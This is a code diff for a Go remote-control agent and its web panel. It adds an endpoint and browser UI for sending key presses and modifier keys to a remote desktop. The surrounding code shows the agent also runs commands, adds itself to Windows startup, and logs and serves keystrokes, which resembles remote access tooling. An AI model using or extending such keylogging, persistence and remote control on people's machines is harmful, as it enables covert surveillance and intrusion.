diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 84866f2..792cff6 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -77,6 +77,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/input/click", a.handleClick) + mux.HandleFunc("/api/v1/input/key", a.handleKey) mux.HandleFunc("/api/v1/input/text", a.handleText) mux.HandleFunc("/api/v1/keylog", a.handleKeylog) mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 39cd15a..66801cd 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -49,6 +49,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, "/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}}, + "/api/v1/input/key": map[string]any{"post": map[string]string{"summary": "Send a key press"}}, "/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}}, "/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}}, "/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}}, @@ -377,6 +378,44 @@ func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) { }) } +func (a *Agent) handleKey(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) + defer r.Body.Close() + var request models.KeyRequest + decoder := json.NewDecoder(r.Body) + decoder.DisallowUnknownFields() + if err := decoder.Decode(&request); err != nil { + helpers.WriteError(w, http.StatusBadRequest, "body must contain a key") + return + } + if request.Key == "" { + helpers.WriteError(w, http.StatusBadRequest, "key is required") + return + } + action := strings.ToLower(strings.TrimSpace(request.Action)) + if action == "" { + action = "tap" + } + if action != "tap" && action != "down" && action != "up" { + helpers.WriteError(w, http.StatusBadRequest, "action must be tap, down, or up") + return + } + if err := input.PressKey(request.Key, action, request.Modifiers); err != nil { + if errors.Is(err, input.ErrBadKey) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + helpers.Log.Printf("key: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not send key") + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "key": request.Key, "action": action}) +} + func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index beb137c..38bab7b 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -273,6 +273,7 @@ videoRunning = false; videoStart.disabled = false; videoStop.disabled = true; + releaseRemoteModifiers().catch((err) => showError(err.message)); } async function pullVideoFrame() { @@ -315,17 +316,62 @@ }); } - async function sendVideoText() { - const field = document.getElementById("video-text"); - const text = field.value; - if (!text) return; - const delayMs = clamp(document.getElementById("video-key-delay").value, 0, 200); - await api("/api/v1/input/text", { + const MODIFIER_CODES = new Set([ + "ControlLeft", "ControlRight", "ShiftLeft", "ShiftRight", + "AltLeft", "AltRight", "MetaLeft", "MetaRight", "OSLeft", "OSRight", + ]); + + const CODE_KEYS = { + Enter: "enter", NumpadEnter: "enter", Backspace: "backspace", Tab: "tab", + Escape: "escape", Space: "space", Delete: "delete", Insert: "insert", + Home: "home", End: "end", PageUp: "pageup", PageDown: "pagedown", + ArrowUp: "up", ArrowDown: "down", ArrowLeft: "left", ArrowRight: "right", + Semicolon: ";", Equal: "=", Comma: ",", Minus: "-", Period: ".", Slash: "/", + Backquote: "`", BracketLeft: "[", Backslash: "\\", BracketRight: "]", Quote: "'", + }; + for (let i = 0; i <= 9; i += 1) CODE_KEYS[`Digit${i}`] = String(i); + for (let i = 0; i < 26; i += 1) { + const letter = String.fromCharCode(65 + i); + CODE_KEYS[`Key${letter}`] = letter.toLowerCase(); + } + for (let i = 1; i <= 12; i += 1) CODE_KEYS[`F${i}`] = `f${i}`; + + const modState = { ctrl: false, alt: false, shift: false, win: false }; + + function keyFromEvent(event) { + if (CODE_KEYS[event.code]) return CODE_KEYS[event.code]; + if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) { + return event.key.toLowerCase(); + } + return null; + } + + function transientModifiers(event) { + const mods = []; + if (event.shiftKey && !modState.shift) mods.push("shift"); + if (event.ctrlKey && !modState.ctrl) mods.push("ctrl"); + if (event.altKey && !modState.alt) mods.push("alt"); + if (event.metaKey && !modState.win) mods.push("win"); + return mods; + } + + async function sendRemoteKey(key, action = "tap", modifiers = []) { + await api("/api/v1/input/key", { method: "POST", headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ text, delay_ms: delayMs }), + body: JSON.stringify({ key, action, modifiers }), }); - field.value = ""; + } + + async function releaseRemoteModifiers() { + const jobs = []; + for (const [name, active] of Object.entries(modState)) { + if (!active) continue; + modState[name] = false; + document.querySelector(`.mod-btn[data-mod="${name}"]`)?.classList.remove("active"); + jobs.push(sendRemoteKey(name, "up")); + } + await Promise.all(jobs); } async function listKeylogs() { @@ -427,19 +473,26 @@ event.preventDefault(); sendClick(event, "right").catch((err) => showError(err.message)); }); - document.getElementById("video-send").addEventListener("click", () => { - sendVideoText().catch((err) => showError(err.message)); + const videoKeys = document.getElementById("video-keys"); + videoKeys.addEventListener("keydown", (event) => { + if (MODIFIER_CODES.has(event.code)) return; + const key = keyFromEvent(event); + if (!key) return; + event.preventDefault(); + sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message)); }); - const videoKeyDelay = document.getElementById("video-key-delay"); - const videoKeyDelayVal = document.getElementById("video-key-delay-val"); - videoKeyDelay.addEventListener("input", () => { - videoKeyDelayVal.textContent = videoKeyDelay.value; - }); - document.getElementById("video-text").addEventListener("keydown", (event) => { - if (event.key === "Enter") { - event.preventDefault(); - sendVideoText().catch((err) => showError(err.message)); - } + document.querySelectorAll(".mod-btn").forEach((button) => { + button.addEventListener("click", () => { + const name = button.dataset.mod; + if (!name) return; + modState[name] = !modState[name]; + button.classList.toggle("active", modState[name]); + sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => { + modState[name] = !modState[name]; + button.classList.toggle("active", modState[name]); + showError(err.message); + }); + }); }); document.getElementById("exec-run").addEventListener("click", () => { runCommand().catch((err) => showError(err.message)); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 53a8826..c10d178 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -130,7 +130,25 @@ padding: 0.65rem 1.25rem; color: var(--danger); } - .error.show { display: block; } + nav button.mod-btn.active { + background: var(--accent); + border-color: var(--accent); + color: #fff; + } + #video-keys { + flex: 1; + min-width: 12rem; + padding: 0.55rem 0.75rem; + border: 1px dashed var(--line); + border-radius: 6px; + background: #fff; + cursor: text; + outline: none; + } + #video-keys:focus { + border-color: var(--accent); + box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.15); + }
@@ -208,12 +226,14 @@